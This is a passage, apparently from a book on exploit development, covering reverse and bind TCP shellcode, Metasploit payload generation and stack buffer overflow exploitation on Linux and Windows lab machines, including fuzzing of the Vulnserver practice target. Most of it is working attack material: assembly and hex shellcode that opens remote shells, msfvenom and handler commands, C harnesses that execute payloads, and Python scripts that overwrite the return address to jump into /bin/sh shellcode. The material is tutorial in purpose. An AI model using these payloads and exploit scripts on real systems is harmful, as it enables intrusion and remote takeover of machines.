    xor rax, rax
    add rax, 42
    syscall

;Dup2 syscall to stdin
    xor rax,rax
    add rax, 33
    xor rsi, rsi
    syscall

;Dup2 syscall to stdout
    xor rax,rax
    add rax, 33
    inc rsi
    syscall

;Dup2 syscall to stderr
    xor rax,rax
    add rax, 33
    inc rsi
    syscall

;Execve syscall with /bin/sh
    xor rax, rax
    push rax
    mov rdx, rsp
    mov rbx, 0x68732f6e69622f2f
    push rbx
    mov rdi, rsp
    push rax
    push rdi
    mov rsi,rsp
    add rax, 59
    syscall

Let's assemble and link it to our victim machine:

$ nasm -felf64 reverse-tcp.nasm -o reverse-tcp.o
$ ld reverse-tcp.o -o reverse-tcp

Then, on our attacker machine run the following:

$ nc -lp 1234

Then, back again to our victim machine and run our code: 

$ ./reverse-tcp

Then, on our attacker machine, we are connected to our victim machine (Ubuntu):



Now, let's convert it to a shellcode:

$ objdump -M intel -D reverse-tcp | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-7 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\\x/g' | paste -d '' -s

The output of the preceding command is shown in the following screenshot:



Let's copy this machine language into our C code:

#include<stdio.h>
#include<string.h>

unsigned char code[] =

"\x48\x31\xc0\x48\x83\xc0\x29\x48\x31\xff\x48\x83\xc7\x02\x48\x31\xf6\x48\xff\xc6\x48\x31\xd2\x0f\x05\x48\x89\xc7\x48\x31\xc0\x68\xc0\xa8\xee\x01\x66\x68\x04\xd2\x66\x6a\x02\x48\x89\xe6\x48\x31\xd2\x48\x83\xc2\x10\x48\x31\xc0\x48\x83\xc0\x2a\x0f\x05\x48\x31\xc0\x48\x83\xc0\x21\x48\x31\xf6\x0f\x05\x48\x31\xc0\x48\x83\xc0\x21\x48\xff\xc6\x0f\x05\x48\x31\xc0\x48\x83\xc0\x21\x48\xff\xc6\x0f\x05\x48\x31\xc0\x50\x48\x89\xe2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05";

int main()
 {
    printf("Shellcode Length: %d\n", (int)strlen(code));
    int (*ret)() = (int(*)())code;
    ret();
}

Let's compile it on our victim machine:

$ gcc -fno-stack-protector -z execstack reverse-tcp-shellcode.c -o reverse-tcp-shellcode

Then, set up a listener on our attacker machine:

$ nc -lp 1234

Now, set up a listener on our victim machine:

$ ./reverse-tcp-shellcode

The output of the preceding command is shown in the following screenshot:



Now, we are connected to our attacker machine:



We did it!



            

            
        
    
        

                            
                    Generating shellcode using Metasploit

                
            
            
                
Here, things are simpler than you think. We will generate shellcodes using Metasploit for multiple platforms with multiple architectures, and remove bad characters in one command.

We will use the msfvenom command. Let's show all the options using msfvenom -h: 



Let's list all of its payloads using msfvenom -l—and it's a very big list of payloads: 



This is just a small section from that list.

Let's take a look at our output formats using msfvenom --help-formats:



Let's try to create bind TCP shellcode on Linux:

$ msfvenom -a x64 --platform linux -p linux/x64/shell/bind_tcp -b "\x00" -f c

What we have here is simple: -a to specify the arch, then we specified the platform as Linux, then we selected our payload to be linux/x64/shell/bind_tcp, then we removed bad characters, \x00, using the -b option, and finally we specified the format to C. Let's execute to see:



Now, copy that shellcode to our C code:

#include<stdio.h>
#include<string.h>
unsigned char code[] =
"\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d\x05\xef\xff"
"\xff\xff\x48\xbb\xdd\x0a\x08\xe9\x70\x39\xf7\x21\x48\x31\x58"
"\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xb7\x23\x50\x70\x1a\x3b"
"\xa8\x4b\xdc\x54\x07\xec\x38\xae\xa5\xe6\xd9\x2e\x0a\xe9\x61"
"\x65\xbf\xa8\x3b\x60\x18\xb3\x1a\x08\xaf\x2e\xd8\x53\x62\xdb"
"\x28\x36\xf2\x69\x4b\x60\x23\xb1\x7f\x3c\xa7\x77\x82\x60\x01"
"\xb1\xe9\x8f\xe7\x69\x54\xdc\x45\xd8\xb9\x53\xd5\x60\x87\xb8"
"\x0f\xe6\x75\x71\x61\x69\x4a\x55\x07\xec\x8f\xdf\xf7\x21";

int main()
{
     printf("Shellcode Length: %d\n", (int)strlen(code));
     int (*ret)() = (int(*)())code;
     ret();
}

Then, copy it to our victim machine. Now, compile it and run it: 

$ gcc -fno-stack-protector -z execstack bin-tcp-msf.c -o bin-tcp-msf
$ ./bin-tcp-msf

It's waiting for the connection. Now, let's set up our listener on the attacker machine using the Metasploit Framework with the msfconsole command, and then choose the handler:

use exploit/multi/handler

Then, we select our payload using this command:

set PAYLOAD linux/x64/shell/bind_tcp

Now, we specify our victim machine's IP:

set RHOST 192.168.238.128

Then, we specify the port—the default port for Metasploit is 4444:

set LPORT 4444

Now, we run our handler:

exploit

The output of the preceding command is shown in the following screenshot:



It says that the session is active on session 1. Let's activate this session using session 1:



It worked!
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In this chapter, we went through how to create simple shellcodes and how to remove bad characters. We moved on to use execve for system commands. Then, we built advanced shellcode, such as bind TCP shell and reverse TCP shell. Finally, we saw how to use the Metasploit Framework to build shellcodes in one line and how to set up a listener using Metasploit.

We now know exactly how to build a payload, so we'll see how to use them. In the next chapter, we will talk about buffer overflow attacks. 
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In this chapter, we will delve more deeply into buffer overflow attacks. We'll see how to change the flow of execution and look at very simple ways to inject shellcode. Shall we begin?
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Now, we are about to learn what a buffer overflow is, and we will understand how to change the flow of an execution using a vulnerable source code.



We will be using the following code:

int copytobuffer(char* input)
{
    char buffer[15];
    strcpy (buffer,input);
    return 0;
}
void main (int argc, char *argv[])
{
    int local_variable = 1;
    copytobuffer(argv[1]);
    exit(0);
}

OK, let's tweak it a little to do something more useful:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int copytobuffer(char* input)
{
    char buffer[15];
    strcpy (buffer,input);
    return 0;
}

void letsprint()
{
    printf("Hey!! , you succeeded\n");
    exit(0);
}

void main (int argc, char *argv[])
{
   int local_variable = 1;
   copytobuffer(argv[1]);
   exit(0);
}

Here, we added a new function, letsprint, which contains printf, and since this function has never been called in the main function, it will never be executed. So, what if we use this buffer overflow to control the execution and change the flow to execute this function?

Now, let's compile it and run it on our Ubuntu machine:

$ gcc -fno-stack-protector -z execstack buffer.c -o buffer
$ ./buffer aaaa

The output of the preceding command can be seen in the following screenshot: 



As you can see, nothing happened. Let's try to cause an overflow:

 $ ./buffer aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

The output of the preceding command can be seen in the following screenshot: 



OK, now let's try to get that error inside our GDB:

$ gdb ./buffer

Then, let's set a breakpoint at the main function to pause the execution at the main function:

$ break main

Now, the program starts. It will pause at the main function. Proceed using 24 a characters as input:

$ run aaaaaaaaaaaaaaaaaaaaaaaa

Then, the code will pause at main:



Hit the C and Enter keys to continue executing:



The program crashed as expected, so let's try 26 a characters as input:

$ run aaaaaaaaaaaaaaaaaaaaaaaaaa

You can use Python to generate the input instead of counting the characters:

#!/usr/bin/python

buffer = ''
buffer += 'a'*26
f = open("input.txt", "w")
f.write(buffer)

Then, give it the execute permission and execute it:

$ chmod +x exploit.py
$ ./exploit.py

From inside GDB, run the following command:

$ run $(cat input.txt)

Then, the code will pause at main:



Hit C then Enter to continue executing:



Have you noticed the error 0x0000000000006161 in ?? ()? From the preceding screenshot, the program doesn't know where  0x0000000000006161 is, and 6161 is aa, which means we were able to inject 2 bytes into the RIP register, so that is how I got it to start after 24 characters. Don't worry, we will talk about that in the next chapter.

Let's confirm that by using 24 of the a characters and 6 of b characters:

$ run aaaaaaaaaaaaaaaaaaaaaaaabbbbbb

We can also use Python:

#!/usr/bin/python

buffer = ''
buffer += 'a'*24
buffer += 'b'*6
f = open("input.txt", "w")
f.write(buffer)

Then, execute the exploit to generate the new input:

$ ./exploit

After that, run the following from inside GDB:

$ run $(cat input.txt)

Then, the code will hit the breakpoint:



Hit C then Enter to continue:



Now, by looking at the error, we see our injected b characters in there. At this point, we are doing very well. Now we know our injection form, let's try to execute the letsprint function using the disassemble command:

$ disassemble letsprint

The output of the preceding command can be seen in the following screenshot: 



We got the first instruction in the letsprint function, push rbp with address 0x00000000004005e3, and the real address is what we need here; we can also get the address by using the print command:

$ print letsprint

The output of the preceding command can be seen in the following screenshot:



Now that we have the address, let's try to build our exploit using Python because we can't pass the address directly:

#!/usr/bin/python
from struct import *

buffer = ''
buffer += 'a'*24
buffer += pack("<Q", 0x0000004005e3)
f = open("input.txt", "w")
f.write(buffer)

Then, we execute it to generate the new input:

$ ./exploit

Now, from inside GDB, run the following command:

$ run $(cat input.txt)

Then, it will hit the breakpoint:



Hit C and then Enter to continue:



We did it! Now, let's confirm that from our shell instead of GDB:

$ ./buffer $(cat input.txt)

The output of the preceding command can be seen in the following screenshot: 



Yes, we changed the flow of execution to execute something that should never be executed!

Let's try another payload just for fun. We will use our code here:

int copytobuffer(char* input)
 {
     char buffer[15];
     strcpy (buffer,input);
     return 0;
 }

void main (int argc, char *argv[])
 {
     int local_variable = 1;
     copytobuffer(argv[1]);
     exit(0);
 }

But we will add our execve syscall to run /bin/sh from the previous chapter:

unsigned char code[] =
 "\x48\x31\xc0\x50\x48\x89\xe2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05";
 
int main()
 {
     printf("Shellcode Length: %d\n", (int)strlen(code));
     int (*ret)() = (int(*)())code;
     ret();
 }

Let's put them together:

 #include <stdio.h>
 #include <string.h>
 #include <stdlib.h>

 void shell_pwn()
 {
    char code[] =
     "\x48\x31\xc0\x50\x48\x89\xe2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73
     \x68\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05";
    printf("Shellcode Length: %d\n", (int)strlen(code));
    int (*ret)() = (int(*)())code;
    ret();
 }
 int copytobuffer(char* input)
 {
     char buffer[15];
     strcpy (buffer,input);
     return 0;
 }

 void main (int argc, char *argv[])
 {
     int local_variable = 1;
     copytobuffer(argv[1]);
     exit(0);
 }

Also, here shell_pwn will never be executed because we never called it here, but now we know how to do it. First, let's compile it:

 $ gcc -fno-stack-protector -z execstack exec.c -o exec

Then, open our code inside GDB:

$ gdb ./exec

Then, set a breakpoint at the main function:

$ break main

OK, now let's prepare our exploit to confirm the exact position of the RIP register:

#!/usr/bin/python

 buffer = ''
 buffer += 'a'*24
 buffer += 'b'*6
 f = open("input.txt", "w")
 f.write(buffer)

Then, execute our exploit:

$ ./exploit.py

Now, from GDB, run the following command:

$ run $(cat input.txt)

Then, it will hit the breakpoint at the main function:



Let's hit C and then Enter to continue:



Yes, it's complaining about our 6 b characters, 0x0000626262626262, so now we are on the right track. Now, let's find the address of our shellcode:

$ disassemble shell_pwn

The output of the preceding command can be seen in the following screenshot: 



The first instruction's address is 0x000000000040060d. Also, we can use the print function:

$ print shell_pwn

The output of the preceding command can be seen in the following screenshot: 



Perfect! Now, let's build our final exploit:

#!/usr/bin/python
 from struct import *

 buffer = ''
 buffer += 'a'*24
 buffer += pack("<Q", 0x00000040060d)
 f = open("input.txt", "w")
 f.write(buffer)

Then, execute it:

$ ./exploit.py

Then, from inside GDB, run the following command:

$ run $(cat input.txt)

Then, the code will pause at the main function; hit C to continue:



Now we've got a shell; let's try to execute it with $ cat /etc/issue:



Let's confirm that, using our bash shell instead of GDB:

$ ./exec $(cat input.txt)

The output of the preceding command can be seen in the following screenshot: 



Let's try to execute something:



It worked!



            

            
        
    
        

                            
                    Stack overflow on Windows

                
            
            
                
Now, let's try the previous vulnerable code to exploit the stack overflow on Windows 7. We don't even have to disable any security mechanisms on Windows, such as Address Space Layout Randomization (ASLR) or Data Execution Prevention (DEP); we will talk about security mechanisms in the Chapter 12, Detection and Prevention—shall we begin?

Let's try our vulnerable code using Code::Blocks:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int copytobuffer(char* input)
{
     char buffer[15];
     strcpy (buffer,input);
     return 0;
}

void letsprint()
{
    printf("Hey!! , you succeeded\n");
    exit(0);
}

void main (int argc, char *argv[])
{
    int local_variable = 1;
    copytobuffer(argv[1]);
    exit(0);
}

Simply open Code::Blocks and navigate to File | New | Empty file.

Then, write our vulnerable code. Go to File | Save file and then save it as buffer2.c:



Now, let's build our code by navigating to Build | Build.

Let's try to see what is going on behind the scenes; open Immunity Debugger as the administrator.

Then, go to File | Open and select buffer2. Here, enter our argument as aaaaaaaaaaaaaaaaaaaaaaaaaaabbbb (27 characters of a and 4 characters of b); we will know later how to get the length of our payload:



Now, we can see our four windows. Hit the run program once. After that, we are at the entry point of our program:



Now, hit the run program again and notice the status bar:



The program crashed and gave us access violation when executing 62626262, which are our characters b in ASCII, and the most important thing to notice is the Registers (FPU) window:



The instruction pointer is pointing at the b characters 62626262, that's perfect!

Now, let's try to locate our function. From Immunity Debugger, navigate to Debug | Restart.

Now we are starting over; hit the run program once and then right-click on the disassemble window and navigate to Search for | All referenced text strings:



Here, we are searching for our string, which is inside the letsprint function, Hey!! , you succeeded\n.

A new window will pop up:



The third one is our string, but it is not readable because of the exit(0) function. You can make sure by compiling another version without exit(0) and performing the same step, and you will be able to read our string.

Addresses here are not fixed—you may get a different address.

Double-click on our string, then Immunity Debugger will set you exactly at our string at address, 0x00401367:



Really, we don't need our string, but we need to locate the letsprint function. Keep going up until you hit the end of the previous function (RETN instruction). Then, the next instruction will be the start of the letsprint function:



There it is! Address 0x0040135f should be the start of the letsprint function. Now, let's confirm that. Open IDLE (Python GUI) and navigate to File | New Window:



In the new window, write our exploit:

#!/usr/bin/python
from struct import *
buffer = ''
buffer += 'a'*27
buffer += pack("<Q", 0x0040135f)
f = open("input.txt", "w")
f.write(buffer)

Then, save it as exploit.py:



Click on Run on the IDLE window, which will generate a new file, input.txt, in our current working directory.

Open the input.txt file:



Here is our payload; copy the contents of the output file. Then, go back to Immunity Debugger by navigating to File | Open, then paste the payload in Arguments and select buffer2:



Then, start the Immunity Debugger: 



Now, hit the run program; then, it will pause at the program entry point:



Now, hit the run program one more time:



The program exited normally with exit code 0. Now, let's take a look at Immunity's CLI:



It worked! Let's take a look at the stack window:



Notice that the a characters are injected in the stack and the letsprint address is injected correctly.

Now, let's try to inject a shellcode instead of using the letsprint function, using Metasploit to generate a shellcode for Windows:

$ msfvenom -p windows/shell_bind_tcp -b'\x00\x0A\x0D' -f c

The output of the preceding command can be seen in the following screenshot:



We can test this shellcode before we use it:

#include<stdio.h>
#include<string.h>

unsigned char code[] =
"\xda\xcf\xd9\x74\x24\xf4\xbd\xb8\xbe\xbf\xa8\x5b\x29\xc9\xb1"
"\x53\x83\xeb\xfc\x31\x6b\x13\x03\xd3\xad\x5d\x5d\xdf\x3a\x23"
"\x9e\x1f\xbb\x44\x16\xfa\x8a\x44\x4c\x8f\xbd\x74\x06\xdd\x31"
"\xfe\x4a\xf5\xc2\x72\x43\xfa\x63\x38\xb5\x35\x73\x11\x85\x54"
"\xf7\x68\xda\xb6\xc6\xa2\x2f\xb7\x0f\xde\xc2\xe5\xd8\x94\x71"
"\x19\x6c\xe0\x49\x92\x3e\xe4\xc9\x47\xf6\x07\xfb\xd6\x8c\x51"
"\xdb\xd9\x41\xea\x52\xc1\x86\xd7\x2d\x7a\x7c\xa3\xaf\xaa\x4c"
"\x4c\x03\x93\x60\xbf\x5d\xd4\x47\x20\x28\x2c\xb4\xdd\x2b\xeb"
"\xc6\x39\xb9\xef\x61\xc9\x19\xcb\x90\x1e\xff\x98\x9f\xeb\x8b"
"\xc6\x83\xea\x58\x7d\xbf\x67\x5f\x51\x49\x33\x44\x75\x11\xe7"
"\xe5\x2c\xff\x46\x19\x2e\xa0\x37\xbf\x25\x4d\x23\xb2\x64\x1a"
"\x80\xff\x96\xda\x8e\x88\xe5\xe8\x11\x23\x61\x41\xd9\xed\x76"
"\xa6\xf0\x4a\xe8\x59\xfb\xaa\x21\x9e\xaf\xfa\x59\x37\xd0\x90"
"\x99\xb8\x05\x0c\x91\x1f\xf6\x33\x5c\xdf\xa6\xf3\xce\x88\xac"
"\xfb\x31\xa8\xce\xd1\x5a\x41\x33\xda\x75\xce\xba\x3c\x1f\xfe"
"\xea\x97\xb7\x3c\xc9\x2f\x20\x3e\x3b\x18\xc6\x77\x2d\x9f\xe9"
"\x87\x7b\xb7\x7d\x0c\x68\x03\x9c\x13\xa5\x23\xc9\x84\x33\xa2"
"\xb8\x35\x43\xef\x2a\xd5\xd6\x74\xaa\x90\xca\x22\xfd\xf5\x3d"
"\x3b\x6b\xe8\x64\x95\x89\xf1\xf1\xde\x09\x2e\xc2\xe1\x90\xa3"
"\x7e\xc6\x82\x7d\x7e\x42\xf6\xd1\x29\x1c\xa0\x97\x83\xee\x1a"
"\x4e\x7f\xb9\xca\x17\xb3\x7a\x8c\x17\x9e\x0c\x70\xa9\x77\x49"
"\x8f\x06\x10\x5d\xe8\x7a\x80\xa2\x23\x3f\xb0\xe8\x69\x16\x59"
"\xb5\xf8\x2a\x04\x46\xd7\x69\x31\xc5\xdd\x11\xc6\xd5\x94\x14"
"\x82\x51\x45\x65\x9b\x37\x69\xda\x9c\x1d";

int main()
{
    printf("Shellcode Length: %d\n", (int)strlen(code));
    int (*ret)() = (int(*)())code;
    ret();
}

Then, build it and run it:



Now, it's waiting for our connection. From our attacking machine, start Metasploit:

$ msfconsole

Then, select the handler to connect to the victim machine:

 $ use exploit/multi/handler

Now, select our payload, which is windows/shell_bind_tcp:

$ set payload windows/shell_bind_tcp

Then, set the IP address of the victim machine:



Now, set the rhost:

$ set rhost 192.168.129.128

Then, let's start:

$ run

The output of the preceding command can be seen in the following screenshot:



Now, the session starts on session 1:

$ session 1

The output of the preceding command can be seen in the following screenshot:



We are now inside our victim machine. Exit this session and let's get back to our code. So, our final code should look like this:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int shell_pwn()
{
unsigned char code[] =
"\xda\xcf\xd9\x74\x24\xf4\xbd\xb8\xbe\xbf\xa8\x5b\x29\xc9\xb1"
"\x53\x83\xeb\xfc\x31\x6b\x13\x03\xd3\xad\x5d\x5d\xdf\x3a\x23"
"\x9e\x1f\xbb\x44\x16\xfa\x8a\x44\x4c\x8f\xbd\x74\x06\xdd\x31"
"\xfe\x4a\xf5\xc2\x72\x43\xfa\x63\x38\xb5\x35\x73\x11\x85\x54"
"\xf7\x68\xda\xb6\xc6\xa2\x2f\xb7\x0f\xde\xc2\xe5\xd8\x94\x71"
"\x19\x6c\xe0\x49\x92\x3e\xe4\xc9\x47\xf6\x07\xfb\xd6\x8c\x51"
"\xdb\xd9\x41\xea\x52\xc1\x86\xd7\x2d\x7a\x7c\xa3\xaf\xaa\x4c"
"\x4c\x03\x93\x60\xbf\x5d\xd4\x47\x20\x28\x2c\xb4\xdd\x2b\xeb"
"\xc6\x39\xb9\xef\x61\xc9\x19\xcb\x90\x1e\xff\x98\x9f\xeb\x8b"
"\xc6\x83\xea\x58\x7d\xbf\x67\x5f\x51\x49\x33\x44\x75\x11\xe7"
"\xe5\x2c\xff\x46\x19\x2e\xa0\x37\xbf\x25\x4d\x23\xb2\x64\x1a"
"\x80\xff\x96\xda\x8e\x88\xe5\xe8\x11\x23\x61\x41\xd9\xed\x76"
"\xa6\xf0\x4a\xe8\x59\xfb\xaa\x21\x9e\xaf\xfa\x59\x37\xd0\x90"
"\x99\xb8\x05\x0c\x91\x1f\xf6\x33\x5c\xdf\xa6\xf3\xce\x88\xac"
"\xfb\x31\xa8\xce\xd1\x5a\x41\x33\xda\x75\xce\xba\x3c\x1f\xfe"
"\xea\x97\xb7\x3c\xc9\x2f\x20\x3e\x3b\x18\xc6\x77\x2d\x9f\xe9"
"\x87\x7b\xb7\x7d\x0c\x68\x03\x9c\x13\xa5\x23\xc9\x84\x33\xa2"
"\xb8\x35\x43\xef\x2a\xd5\xd6\x74\xaa\x90\xca\x22\xfd\xf5\x3d"
"\x3b\x6b\xe8\x64\x95\x89\xf1\xf1\xde\x09\x2e\xc2\xe1\x90\xa3"
"\x7e\xc6\x82\x7d\x7e\x42\xf6\xd1\x29\x1c\xa0\x97\x83\xee\x1a"
"\x4e\x7f\xb9\xca\x17\xb3\x7a\x8c\x17\x9e\x0c\x70\xa9\x77\x49"
"\x8f\x06\x10\x5d\xe8\x7a\x80\xa2\x23\x3f\xb0\xe8\x69\x16\x59"
"\xb5\xf8\x2a\x04\x46\xd7\x69\x31\xc5\xdd\x11\xc6\xd5\x94\x14"
"\x82\x51\x45\x65\x9b\x37\x69\xda\x9c\x1d";

    printf("Shellcode Length: %d\n", (int)strlen(code));
    int (*ret)() = (int(*)())code;
    ret();
}

int copytobuffer(char* input)
{
    char buffer[15];
    strcpy (buffer,input);
    return 0;
}

void main (int argc, char *argv[])
{
    int local_variable = 1;
    copytobuffer(argv[1]);
    exit(0);
}

Now, build it and let's run it inside Immunity Debugger to find the address of the shell_pwn function. Start Immunity Debugger as the administrator and select our new code with any argument you want:



Then, hit the run program once. Now, we are at the program's entry point:



Right-click on the main screen and navigate to Search for | All referenced text strings:



Do you see Shellcode Length? This is a string in the shell_pwn function; now double-click on it:



The program set us on the exact location of the Shellcode Length string. Now, let's go up until we hit the function's start address:



That's it at address 0x00401340. Now, let's set up our exploit code:

#!/usr/bin/python
 from struct import *
 buffer = ''
 buffer += 'a'*27
 buffer += pack("<Q", 0x00401340)
 f = open("input.txt", "w")
 f.write(buffer)

Now, run the exploit code to renew input.txt; then, open input.txt:



Then, copy the contents of it. Go back to Immunity Debugger and open the program again and paste the payload:



Then, hit the run program twice. The code is still running:



Also, take a look at the status bar:



Our shellcode is running now and waiting for our connection. Let's go back to our attacking machine and set up the handler to connect to the victim machine:

$ msfconsole
$ use exploit/multi/handler
$ set payload windows/shell_bind_tcp
$ set rhost 192.168.129.128
$ run

The output of the preceding command can be seen in the following screenshot:



The connection has been established on session 2:

 $ session 2

The output of the preceding command can be seen in the following screenshot:



It worked!



            

            
        
    
        

                            
                    Summary

                
            
            
                
At this point, we know how buffer overflow attacks work on Linux and Windows. Also, we know how to exploit stack overflow.

In the next chapter, we will talk about more techniques, such as how to locate and control the instruction pointer, how to find the location of your payload, and more techniques for buffer overflow attacks.
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Exploit development, here we are! Now we are starting the real stuff! In this chapter, we will walk through how to deal with exploits fuzzing. We will also learn techniques in exploit development, such as controlling the instruction pointer and how to find a place to put our shellcode in.

The following are the topics that we will cover in this chapter:


	Fuzzing and controlling instruction pointer

	Injecting a shellcode

	A complete example of buffer overflow



Let's start!



            

            
        
    
        

                            
                    Fuzzing and controlling instruction pointer

                
            
            
                
In the previous chapter, we injected characters, but we need to know the exact offset of the instruction pointer, which was injecting 24 As. The idea of finding the exact offset of the RIP register is injecting a specific sequence length of a pattern, and based on the last element on the stack, calculating the offset of the RIP register. Don't worry, you will understand in the next example. So how can we determine the exact offset of the RIP register? We have two tools for this, the Metasploit Framework and PEDA, and we will talk about both of them.



            

            
        
    
        

                            
                    Using Metasploit Framework and PEDA

                
            
            
                
First, we will use the Metasploit Framework to create the pattern, and to do so we need to navigate to this location: /usr/share/metasploit-framework/tools/exploit/.

Now, how to create a pattern? We can create one using pattern_create.rb.

Let's take an example using our vulnerable code but with a bigger buffer, let's say 256:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int copytobuffer(char* input)
{
    char buffer[256];
    strcpy (buffer,input);
    return 0;
}

void main (int argc, char *argv[])
{
    int local_variable = 1;
    copytobuffer(argv[1]);
    exit(0);
}

Now, let's compile it:

$ gcc -fno-stack-protector -z execstack buffer.c -o buffer

Then we will use GDB:

$ gdb ./buffer

Next, we calculate the offset of the RIP location. So, first let's create a pattern by using the Metasploit Framework on our attacking machine and inside /usr/share/metasploit-framework/tools/exploit/:

$ ./pattern_create.rb -l 300 > pattern

In the previous command, we generated a pattern with a length of 300 and saved it in a file with the name pattern. Now copy this file to our victim machine and use this pattern as input inside GDB:

$ run $(cat pattern)

The output for the preceding command can be seen in the following screenshot: 



The code stopped, as expected, with an error. Now, we need to extract the last element in the stack, because the next element after that should overflow the RIP register. Let's see how to get the last element in the stack, using the x command to print the content of a memory. Let's take a look at how the x command works in GDB, using help x:



Now, let's print the last element inside the stack using x:

$ x/x $rsp

The output for the preceding command can be seen in the following screenshot: 



The last element in the stack is ;0x41386941. You can also use x/wx $rsp to print a full word from inside the RSP register. Now we need to calculate the exact location of the RIP register using pattern_offset.rb on our attacking machine:

$ ./pattern_offset.rb -q 0x41386941 -l 300

First, we specified the query we extracted from the stack; then we specified the length of the pattern we used:



It tells us that the last element in the stack is at location 264, which means that the next six characters should overflow the RIP register:

#!/usr/bin/python
from struct import *

buffer = ''
buffer += 'A'*264
buffer += pack("<Q", 0x424242424242)
f = open("input.txt", "w")
f.write(buffer)

If our calculation is correct, we should see the 42s in the RIP. Let's run this code: 

$ chmod +x exploit.py
$ ./exploit.py

Then, from inside GDB, run the following command:

$ run $(cat input.txt)

The output for the preceding command can be seen in the following screenshot: 



Our 42s are now in the instruction pointer, which is bbbbbb in ASCII.



            

            
        
    
        

                            
                    Injecting shellcode

                
            
            
                
The RIP now contains our 6 Bs (424242424242) and the code has stopped complaining about where 0x0000424242424242 is in the memory.

We have succeeded with our exploit so far. This is what our payload looks like:



We need to find a way to inject a shellcode in the As so we can jump to it easily. To do so, we need to first inject 0x90 or the NOP instruction, which is NOP, just to make sure that our shellcode is injected correctly. After injecting our shellcode, we change the instruction pointer (RIP) to any address in the memory containing the NOP instruction (0x90).

Then the execution should just pass on all NOP instructions until it hits the Shellcode, and it will start executing it:

 

This is what our exploit should look like. Let's try to inject the execve /bin/sh shellcode (length 32). Now we need to get any address in the memory that contains 0x90:

#!/usr/bin/python
from struct import *

buffer = ''
buffer += '\x90'*232
buffer += 'C'*32
buffer += pack("<Q", 0x424242424242)
f = open("input.txt", "w")
f.write(buffer)

Let's run the new exploit:

$./exploit.py

Then, from inside GDB, run the following command:

$ run $(cat input.txt)

The output for the preceding command can be seen in the following screenshot: 



The program stopped. Now, let's look inside the stack to search for our NOP slide by printing 200 hex values from the memory:

$ x/200x $rsp

The output for the preceding command can be seen in the following screenshot: 



We got them! These are our NOP's instructions that we injected. Also, after the NOPs, you can see 32 Cs (43), so now we can choose any address in the middle of this NOP's instructions; let's select 0x7fffffffe2c0:



This is what the final payload should look like:

#!/usr/bin/python
from struct import *

buffer = ''
buffer += '\x90'*232
buffer += '\x48\x31\xc0\x50\x48\x89\xe2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05'
buffer += pack("<Q", 0x7fffffffe2c0)
f = open("input.txt", "w")
f.write(buffer)

Let's run the exploit:

$ ./exploit.py

Then, from inside GDB, run the following command:

$ run $(cat input.txt)

The output for the preceding command can be seen in the following screenshot: 



Now we got the bash prompt inside GDB; let's try to execute something like cat /etc/issue:



It gave us the content of /etc/issue.

It worked!



            

            
        
    
        

                            
                    A complete example of buffer overflow

                
            
            
                
Now, let's see a complete example of the buffer overflow. What we need is to download and run vulnserver on Windows. Vulnserver is a vulnerable server, where we can practice exploit development skills. You can find it at https://github.com/stephenbradshaw/vulnserver.

After downloading it, run it using vulnserver.exe:



Now, it's working and waiting for a connection on port 9999 using netcat.

Netcat is a tool used to initiate a connection with a server or listen on a port and wait for a connection from another client. Now, let's use nc from the attacking machine:

$ nc 172.16.89.131 9999

The output for the preceding command can be seen in the following screenshot: 



Now, let's try fuzzing a parameter, such as TRUN (which is a vulnerable parameter inside a vulnerable-by-design application). We need to build up a script to help us do that:

#!/usr/bin/python
import socket

server = '172.16.89.131'    # IP address of the victim machine 
sport = 9999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print s.recv(1024)
s.send(('TRUN .' + 'A'*50 + '\r\n'))
print s.recv(1024)
s.send('EXIT\r\n')
print s.recv(1024)
s.close()

Let's try to send 50 As:



It didn't crash. How about 5000 As:

#!/usr/bin/python
import socket

server = '172.16.89.131'
sport = 9999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print s.recv(1024)
s.send(('TRUN .' + 'A'*5000 + '\r\n'))
print s.recv(1024)
s.send('EXIT\r\n')
print s.recv(1024)
s.close()

The output for the ./fuzzing.py command can be seen in the following screenshot: 



No reply! Let's take a look at our Windows machine: 



The program crashed and it's complaining about memory location 0x41414141, which is our 5000 As. At the second stage, which is controlling the RIP, let's create a pattern with a length of 5000 bytes.

From our attacking machine, navigate to /usr/share/metasploit-framework/tools/exploit/:

./pattern_create.rb -l 5000

The output for the preceding command can be seen in the following screenshot: 



Copy the output pattern to our exploit:

#!/usr/bin/python
import socket
server = '172.16.89.131'
sport = 9999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print s.recv(1024)

